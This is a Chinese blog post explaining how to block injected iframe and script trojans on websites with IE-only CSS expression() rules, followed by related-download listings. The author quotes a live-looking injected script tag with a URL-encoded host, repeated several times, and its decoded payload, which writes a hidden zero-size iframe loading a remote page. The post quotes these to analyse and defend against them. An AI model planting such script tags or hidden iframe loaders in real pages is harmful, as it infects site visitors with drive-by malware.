`
wostyh
  • 浏览: 75459 次
  • 性别: Icon_minigender_1
  • 来自: 长沙
最近访客 更多访客>>
文章分类
社区版块
存档分类
最新评论

采用CSS防止Iframe有script挂马的一些方法

阅读更多

相信大多数朋友都是iframe木马的受害者,有朋友的网站被注入了N回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。

灵儿曾经在经典论坛上发过贴子:《一行代码解决网站防挂IFRAME木马方案》http://bbs.blueidea.com/thread-2785512-1-1.html ,有不少朋友都联系了灵儿,有的表示感谢,不过更多的是疑问了,今天把原理细细地讲一下吧:
IE Only——一般只有IE害怕iframe这样的挂马,所以灵儿就拿IE开刀。
在阅读本文之前,我们先了解一下expression;
IE5及其以后版本支持在CSS中使用expression,用来把CSS属性和JavaScript脚本关联起来,这里的CSS属性可以是元素固有的属性,也可以是自定义属性。就是说CSS属性后面可以是一段JavaScript表达式,CSS属性的值等于Javascript表达式执行的结果。在表达式中可以直接引用元素自身的属性和方法,也可以使用其他浏览器对象。这个表达式就好像是在这个元素的一个成员函数中一样。
很多朋友都知道CSS可以直接描述一个可视标记的外观。例如:p{color:red} 则网页里所有p标记里的文字颜色都会变成红色;iframe不也是一个标记吗?开始跟灵儿写代码吧,呵呵:

iframe{...这里写描述外观的CSS代码;};

仔细想想要防止iframe里的东东被下载的最好办法是什么?核心来了,那就是切断iframe里的请求,切断请求就是要迅速销毁iframe对象。如何实现呢,上面不是介绍了expression吗?expression是可以执行JS脚本的哈。语法格式如下二种:
         标记固有的CSS属性名:expression(JS表达式);
或     自定义属性名:expression(JS表达式);
在这里我们选择第二种,代码应该大致是这样
iframe{v:expression(JS表达式);}
接下来的问题是如何销毁网页里所有的iframe对象;使用JS实现的原理是这样的:使iframe里的请求地址变成空白页(about:blank),再将iframe对象从DOM(文档对象模型)中移除就可以切断所有iframe里的请求了。移除DOM节点的方法比较多,我这里就用 outerHTML这个属性吧。CSS代码如下:
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
说明:前面的v字是灵儿自己定义的一个CSS属性,这里的this代表所有将要描述外观的iframe对象,中间的逗号代表二句代码一起执行,没有执行优先顺序,这可是强有力的保证噢。about:blank代表空白页,大家都知道的。outerHTML属性是DOM对象包含自身的HTML代码,而innerHTML则是DOM对象(不含本身)里面所包含的HTML代码。
爽快,代码写好了,就让我信来测试一下有没有效果。
首先,新建一个网页,插入以上的CSS代码(或在您现有的CSS代码里加入上面那句):

<style type="text/css">
iframe{v:expression(this.src='about:blank',this.outerHTML='');}
</style>

然后在这个页面插入几个IFRAME代码,假设它们是被挂的木马网页。代码如下:

<iframe src="http://www.baidu.com"></iframe> 百度
<iframe src="http://www.126.com/"></iframe> 126邮箱
<iframe src="http://www.163.com"></iframe> 网易

保存为noiframe.htm,打开浏览器测试一下(本地测试需要启用顶部禁用的脚本的提示条哦)。我这里使用抓包工具来测试,不过也没有必要使用抓包工具,一个最简单有效的方法是打开IE的缓存文件夹,先清空它,再刷新这个页面,看看缓存文件夹里有没有这三个网站里的文件。如果没有,说明没有任何请求结果被返回——测试结果是令人满意的,我的脸上有些微笑 ^^*,这时同事递给我一块饼,蛮好吃的。
提示:Windows XP SP2的缓存文件夹位置 C:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files

细心的朋友发现问题来了,如果我自己的网页里要使用iframe这个东东怎么办?
答:如果要使自己的iframe显示在网页里,而别人挂的IFRAME马都不起作用,在CSS里加一个
#f126{v:expression() !important}
对应的IFRAME代码为:
<iframe id="f126" name="f126" src="http://www.126.com/"></iframe> 
就OK了。
提示:IE7中优先执行标注有“!important”描述的样式,IE6不认识!important,采用就近原则,所以IE6的这个代码放在CSS的最后就可以了。
这里的f126,有很多朋友有疑问,他们问我为什么取"f126",我这样回答——这个f126是随意取的,只要下面的iframe里的ID属性和CSS里的一致就行了。同事又要递一块饼我吃,我说饱了哈..嘻嘻..

当然挂马者可以构造这样的代码
<iframe style="v:expression() !important" src="URL"></iframe>
使我的防御方式失效,不过它得特意去看我的CSS代码里iframe里的前缀v,如果我的v是变化的呢,哈哈,是不是也不管用呢!
小结:以上的方法只是停止了iframe的请求并销毁了它本身,但以后的挂马方式改变了,例如改成
<script></script>
方式挂,就不能用这种方法来解决了;此这个方法不是最终的解决案,最终的解决方案是找出真正被挂IFRAME的原因,堵住源头。这可不是我的事哈,呵~
应用实例:http://www.cncert.net 以此代码配合MD5(hash)校验,非常完美的防挂马解决方案;
更多问题请联系Linr灵儿:QQ/MSN/E-mail:www@xiaogezi.cn

还是挂马问题,这段时间,我渐渐感到压力,头大,通过QQ或MSN加我的人越来越多,我最近自己的工作本来就忙得不亦乐乎。哎,想想,还是要抽空来来帮帮大家。
前不久《http://bbs.blueidea.com/thread-2818052-1-1.html一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:
注意,以下地址含有木马,请不要轻易访问:
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:
document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!
...
var Kfqq, Qqs="784378237"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:
<script src=http://%76%63%63%64%2E%63%6E></script>
对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。
来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:
解决方案1:
iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。
缺点:访客无法看到被感染了<script>木马的页面。
解决方案2:
iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。
解决方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}
原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。
解决方案4:
iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}
原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。
解决方案5:
iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}
第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script>

分享到:
评论

相关推荐

    用CSS防iframe型挂马

    用CSS防iframe型挂马 相信大多数朋友都是iframe木马的受害者,有朋友的网站被注入了n回iframe,心情可想而知。而且现在ARP攻击,注入iframe也是轻而易举的事,仅局域网里都时刻面临威胁,哎,什么世道。接近年关,...

    CSS防止iframe挂马

    iframe{v:e-xpression(this.src="about:blank",this.outerHTML='');}

    div+css代替iframe框架并带全屏遮罩加载特效

    div+css代替iframe框架并带全屏遮罩加载特效,div+css框架、div代替iframe、框架全屏遮罩、全屏加载特效

    java Script 样式 CSS

    java Script 样式 CSS 希望对大家 有用 呵呵

    形考任务四活动1:采用CSS样式来设置背景、标题和段落的颜色。.zip

    形考任务四 活动1:采用CSS样式来设置背景、标题和段落的颜色。

    用CSS构建iframe效果代码

    用CSS构建iframe效果代码

    DIV CSS iframe 实现的主页布局

    通过Div+CSS 结合Jquery制作的具有左侧菜单、导航菜单、下拉菜单、自动适应窗口大小、自动控制iframe高度,动态修改CSS样式,利用CSS的expression表达式,自动调整div大小,实现div左侧跟随的诸多布局应用。

    动态加载js、css等文件跨iframe实现

    1、动态加载js,css文件(用原生js和jquery) iframe结构: frame0(父) frame2(子) frame3(子) frame2中触发事件,动态的向frame3中 加载js、css文件和 dom元素? *同级之间可以调用,可以 通过 子-父-子 的方式...

    黑客选择CSS挂马 CSS挂马攻防实录

    随着Web2.0的普及,各种网页特效用得越来越多,...有许多非常著名的网站都被黑客用CSS挂马入侵过。  在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,

    css防挂马

    iframe自适应宽高

    提供了一系列的页面大小的计算方法来支持复杂的CSS布局。 检测修改DOM可以使网页大小使用MutationObserver。 发现可以导致页面大小调整事件(窗口大小调整,CSS动画和过渡,改变方向和鼠标事件)。 简化通讯和主机...

    CSS代码 解决网页挂马问题

    两行CSS来解决,共5种方案 一、 iframe{n1ifm:[removed]this.src=’about:blank’,this.outerHTML=”);}/*这行代码是解决挂IFRAME木马的哦*/ script{nojs1:[removed](this.src.toLowerCase().indexOf(‘http’)==0)...

    Ajax Css html java script

    Ajax新手入门手册chm (Ajax html css xml java script)

    css+html+script+script_master五合一CHM版.rar

    CSS样式表教程:CSS文件也可以说是一个文本文件,它包含了一些CSS标记,CSS文件必须使用css为文件名后缀. * 可以通过简单的更改CSS文件,改变网页的整体表现形式,可以减少工作量

    ADO+CSS+DHTML+SCRIPT+SQL(全中文chm)

    ADO+CSS+DHTML+SCRIPT+SQL手册合集全中文chm.ASP程序设计不可或缺的东西!

    帮助文件一览script,CSS,HTML,XML

    script,CSS,HTML,XML script,CSS,HTML,XML script,CSS,HTML,XML script,CSS,HTML,XML script,CSS,HTML,XML

    html+css+script ppt

    html基础,css和script简要内容 ppt

    采用flex方式的css页面自适应布局

    采用css的flex布局插入hightchart和Echart图表; 图表采用官方实例代码

    CSS CSS CSS

    CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装 CSS CSS 资料套装

    CSS3(上)CSS3是CSS(层叠样式表)技术的升级版本.md

    CSS3是CSS(层叠样式表)技术的升级版本...因此通过采用模块方法,CSS3规范里的元素能以不同速度向前发展,因为不同的浏览器厂商只支持给定 特性。但不同浏览器在不同时间支持不同特性,这也让跨浏览器开发变得复杂 。

Global site tag (gtag.js) - Google Analytics